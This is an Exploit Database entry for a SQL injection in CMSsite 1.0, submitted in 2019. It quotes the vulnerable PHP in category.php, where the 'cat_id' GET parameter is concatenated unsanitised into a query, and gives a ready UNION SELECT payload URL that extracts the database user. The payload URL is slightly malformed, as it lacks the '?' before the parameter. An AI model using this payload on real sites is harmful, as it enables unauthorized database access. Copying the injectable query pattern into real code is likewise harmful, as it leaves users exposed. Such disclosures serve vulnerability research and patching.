



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

CMSsite 1.0 - 'cat_id' SQL Injection

EDB-ID:

46259

CVE:

N/A

EDB Verified: ✘

Author:

[MAJID KALANTARI](#)

Type:

[WEBAPPS](#)

Exploit:  

Platform:

[PHP](#)

Date:

2019-01-28

Vulnerable App: 



EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

```
# Exploit Title: CMSsite 1.0 - SQL injection
# Exploit Author : Majid kalantari (mjd.hack@gmail.com)
# Date: 2019-01-27
# Vendor Homepage : https://github.com/VictorAlagwu/CMSsite
# Software link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Version: 1.0
# Tested on: Windows 10
# CVE: N/A
=====

# vulnerable file: category.php
# vulnerable parameter : cat_id

if (isset($_GET['cat_id'])) {
    $category = $_GET['cat_id'];
}
$query = "SELECT * FROM posts WHERE post_category_id=$category";
$run_query = mysqli_query($con, $query);

# payload : http://127.0.0.1/cm/category.phpcat_id=7 UNION SELECT
1,2,user(),3,4,5,6,7,8,9,10%23

=====
```

Tags: [SQL Injection \(SQLi\)](#)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)



[OffSec Services Limited](#) 2026. All rights reserved.